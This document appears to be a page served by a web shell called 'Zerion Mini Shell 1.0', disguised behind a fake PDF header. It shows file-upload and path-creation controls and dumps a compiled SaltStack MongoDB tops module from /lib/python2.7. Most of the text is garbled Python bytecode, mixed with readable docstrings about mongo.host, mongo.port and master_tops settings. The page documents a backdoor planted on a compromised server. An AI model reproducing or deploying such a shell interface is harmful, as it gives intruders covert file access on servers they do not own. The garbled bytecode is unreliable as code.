%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python2.7/site-packages/salt/tops/
Upload File :
Create Path :
Current File : //lib/python2.7/site-packages/salt/tops/mongo.pyo

�
���^c@@s�dZddlmZmZmZddlZddlZyddlZeZ	Wne
k
rieZ	nXidd6dd6dd6d	d
6dd6Zd�Z
eje�Zd
�ZdS(u
Read tops data from a mongodb collection

This module will load tops data from a mongo collection. It uses the node's id
for lookups.

Salt Master Mongo Configuration
===============================

The module shares the same base mongo connection variables as
:py:mod:`salt.returners.mongo_return`. These variables go in your master
config file.

   * ``mongo.db`` - The mongo database to connect to. Defaults to ``'salt'``.
   * ``mongo.host`` - The mongo host to connect to. Supports replica sets by
     specifying all hosts in the set, comma-delimited. Defaults to ``'salt'``.
   * ``mongo.port`` - The port that the mongo database is running on. Defaults
     to ``27017``.
   * ``mongo.user`` - The username for connecting to mongo. Only required if
     you are using mongo authentication. Defaults to ``''``.
   * ``mongo.password`` - The password for connecting to mongo. Only required
     if you are using mongo authentication. Defaults to ``''``.


Configuring the Mongo Tops Subsystem
====================================

.. code-block:: yaml

  master_tops:
    mongo:
      collection: tops
      id_field: _id
      re_replace: ""
      re_pattern: \.example\.com
      states_field: states
      environment_field: environment


Module Documentation
====================
i(tabsolute_importtprint_functiontunicode_literalsNusaltumongo.dbu
mongo.hostuumongo.passwordi�iu
mongo.portu
mongo.usercC@sts
tSdS(Numongo(tHAS_PYMONGOtFalse(((s3/usr/lib/python2.7/site-packages/salt/tops/mongo.pyt__virtual__AscK@std}td}tddjdd�}tddjdd�}tddjd	d
�}tddjdd
�}tddjdd
�}tddjdd�}tjd||�tj||�}	tjdtd�|	td}
tjd�}tjd�}|rD|rDtjd|�|
j||�n|dd}
|rptj	|||
�}
ntjd||
�|
|j
i|
|6d||g�}|r�||kr�||kr�||}nd}tjd�i|||6Stjd|�iSdS(u{
    Connect to a mongo database and read per-node tops data.

    Parameters:
        * `collection`: The mongodb collection to read data from. Defaults to
          ``'tops'``.
        * `id_field`: The field in the collection that represents an individual
          minion id. Defaults to ``'_id'``.
        * `re_pattern`: If your naming convention in the collection is shorter
          than the minion id, you can use this to trim the name.
          `re_pattern` will be used to match the name, and `re_replace` will
          be used to replace it. Backrefs are supported as they are in the
          Python standard library. If ``None``, no mangling of the name will
          be performed - the collection will be searched with the entire
          minion id. Defaults to ``None``.
        * `re_replace`: Use as the replacement value in node ids matched with
          `re_pattern`. Defaults to ''. Feel free to use backreferences here.
        * `states_field`: The name of the field providing a list of states.
        * `environment_field`: The name of the field providing the environment.
          Defaults to ``environment``.
    u
mongo.hostu
mongo.portumaster_topsumongou
collectionutopsuid_fieldu_idu
re_patternuu
re_replaceustates_fieldustatesuenvironment_fielduenvironmentu&connecting to %s:%s for mongo ext_topsuusing database '%s'umongo.dbu
mongo.userumongo.passworduauthenticating as '%s'uoptsuidu=ext_tops.mongo: looking up tops def for {'%s': '%s'} in mongot
projectionubaseu0ext_tops.mongo: found document, returning statesu2ext_tops.mongo: no document found in collection %sN(t__opts__tgettlogtinfotpymongotMongoClienttdebugtauthenticatetretsubtfind_one(tkwargsthosttportt
collectiontid_fieldt
re_patternt
re_replacetstates_fieldtenvironment_fieldtconntmdbtusertpasswordt	minion_idtresulttenvironment((s3/usr/lib/python2.7/site-packages/salt/tops/mongo.pyttopKs@


&

(t__doc__t
__future__RRRtloggingRRtTrueRtImportErrorRRRt	getLoggert__name__R	R"(((s3/usr/lib/python2.7/site-packages/salt/tops/mongo.pyt<module>+s 




	

Zerion Mini Shell 1.0